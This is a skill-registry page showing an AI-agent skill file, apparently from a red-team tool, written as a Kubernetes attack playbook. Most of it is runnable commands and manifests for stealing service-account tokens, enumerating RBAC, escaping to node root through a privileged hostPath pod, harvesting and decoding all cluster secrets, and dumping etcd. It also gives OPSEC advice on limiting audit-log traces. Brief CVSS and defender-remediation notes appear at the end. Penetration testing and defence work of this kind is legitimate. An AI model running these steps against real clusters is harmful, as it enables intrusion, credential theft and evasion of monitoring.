k8s-pivot

Kubernetes attack playbook — service-account token theft, RBAC abuse, pod escape, hostPath mount abuse, kube-api-server pivoting.

Quality

73%

Does it follow best practices?

Run evals on this skill

Adds up to 20 points to the overall score

View guide

Securityby

Critical

Do not install without reviewing

Fix and improve this skill with Tessl

tessl review fix ./packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md

Kubernetes Pivot

1. Identify the cluster you're in

Inside a compromised pod:

# Service account token (default mount)
cat /var/run/secrets/kubernetes.io/serviceaccount/token > /tmp/sa.tok
cat /var/run/secrets/kubernetes.io/serviceaccount/namespace
cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt > /tmp/ca.crt

# API server address
echo $KUBERNETES_SERVICE_HOST $KUBERNETES_SERVICE_PORT_HTTPS
# Or: env | grep KUBE

2. Inventory permissions

KUBECTL="kubectl --token=$(cat /tmp/sa.tok) --certificate-authority=/tmp/ca.crt \
         --server=https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT_HTTPS"

# What can I do in my own namespace?
$KUBECTL auth can-i --list --namespace=$(cat .../namespace) > /tmp/can_ns.txt

# Cluster-wide?
$KUBECTL auth can-i --list > /tmp/can_cluster.txt

# Specifically check the high-value verbs
for verb in get list create delete patch update; do
  for res in secrets pods deployments daemonsets nodes clusterroles rolebindings serviceaccounts; do
    $KUBECTL auth can-i $verb $res --all-namespaces 2>/dev/null | \
      grep -q yes && echo "$verb $res YES"
  done
done > /tmp/verbs.txt

Decepticon ingest:

k8s_audit("/tmp/can_cluster.txt")

3. RBAC escalation primitives

Verb + Resource	What it enables
`create pods`	Create a pod with mount of host root, then RCE on node
`get secrets`	Steal SA tokens, k8s API creds, dockercfg, TLS keys
`create serviceaccounts.tokens`	Mint a new SA token w/ chosen TTL
`update/patch clusterrolebindings`	Bind self to cluster-admin
`impersonate`	Act as any user / SA
`create pods/exec`	Exec into running pod → steal its token
`bind / escalate` (on Role/ClusterRole)	Grant any permission
`create persistentvolumes` (cluster-wide)	hostPath PV → read host fs
`create podsecuritypolicies` (old K8s)	Author own permissive PSP
`create validatingwebhookconfigurations`	Intercept apiserver requests
`create mutatingwebhookconfigurations`	Modify any object on admission
`update nodes/status` (rare)	Spoof node taints, evict pods

4. Pod escape — host root via hostPath

# escape-pod.yaml
apiVersion: v1
kind: Pod
metadata:
  name: escape-pod
spec:
  hostPID: true        # see all host PIDs
  hostNetwork: true    # bypass network policies
  containers:
  - name: shell
    image: alpine
    command: ["sh", "-c", "sleep 1d"]
    securityContext:
      privileged: true     # CAP_*, no user-namespace remap, no AppArmor
    volumeMounts:
    - name: host-root
      mountPath: /host
  volumes:
  - name: host-root
    hostPath:
      path: /
      type: Directory

$KUBECTL create -f escape-pod.yaml
$KUBECTL exec -it escape-pod -- chroot /host /bin/bash
# Now root on the underlying node

5. Secrets harvest

# All accessible secrets across namespaces
$KUBECTL get secrets --all-namespaces -o json > /tmp/secrets.json
jq -r '.items[] | "\(.metadata.namespace)/\(.metadata.name) \(.type)"' /tmp/secrets.json

# Decode SA tokens
jq -r '.items[] | select(.type=="kubernetes.io/service-account-token") |
       "\(.metadata.namespace)/\(.metadata.name) \(.data.token | @base64d)"' \
  /tmp/secrets.json > /tmp/sa-tokens.txt

# Decode dockercfg / dockerconfigjson
jq -r '.items[] | select(.type=="kubernetes.io/dockerconfigjson") |
       .data[".dockerconfigjson"] | @base64d' /tmp/secrets.json

6. Container runtime escapes (when you have privileged pod or specific caps)

Primitive	Technique
`/var/run/docker.sock` mounted in pod	`docker exec` on host containers → host root
`/run/containerd/containerd.sock`	`ctr` cmd → escape
`CAP_SYS_ADMIN` w/o user namespace	Mount syscall → reread cgroups → release_agent
`CAP_SYS_PTRACE`	Inject into host PID 1 (only if hostPID:true)
`CAP_DAC_READ_SEARCH`	Open arbitrary file by inode (CVE-2022-0185 era)
Kernel CVEs (Dirty Pipe, etc)	Standard linux escape from any container

7. Pivoting from the API server

With cluster-admin token:

# List all nodes
$KUBECTL get nodes -o wide

# Each node has an internal IP — once you have host root, you have
# network reach to the underlying infra (etcd, cloud metadata, etc)

# Steal etcd snapshot via cluster-admin
$KUBECTL --raw '/api/v1/namespaces/kube-system/pods' > /tmp/all-pods.json
# Find etcd pod, exec, dump
$KUBECTL exec -n kube-system etcd-master -- \
  etcdctl snapshot save /tmp/etcd.db --cacert=/etc/kubernetes/pki/etcd/ca.crt

8. Promote

kg_add_node(kind="vulnerability", label="K8s RBAC: <verb> on <resource>",
            props={"severity":"<sev>","namespace":"<ns>","cluster":"<cluster>"})
kg_add_edge(src=<vuln>, dst=<crown_jewel:cluster-admin>, kind="reaches")

OPSEC

K8s audit policy logs every API call. If audit is set to Metadata or higher, every kubectl op is recorded with user SA, verb, resource, response code.
Cloud providers (EKS/GKE/AKS) ship audit logs to CloudWatch / Stackdriver / Log Analytics — assume engagement is observed.
Use a low-priv SA token first, escalate only when needed, and exfil secrets in one batch (don't list-secrets repeatedly).

CVSS

create-pod privileged anywhere: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H = 9.0
get-secrets in kube-system: 9.0
escalate clusterrolebindings: 10.0 (instant cluster-admin)
Default ServiceAccount auto-mounted into all pods + privileged pod creation allowed: 9.5 (engagement-ending)

Defender remediation (high-level)

Disable automounting of default SA tokens (automountServiceAccountToken: false)
Enforce PodSecurity standards (baseline minimum, restricted ideal)
Audit cluster-wide ClusterRoleBindings — many clusters have system:masters aliases to misnamed groups
Network policies to block pod → kube-api except where required

Repository: PurpleAILAB/Decepticon
Path: packages/decepticon/decepticon/skills/standard/cloud/k8s-pivot/SKILL.md
Commit: e34afba

Last updated: 11 days ago
First committed: 2 months ago

Is this your skill?

If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.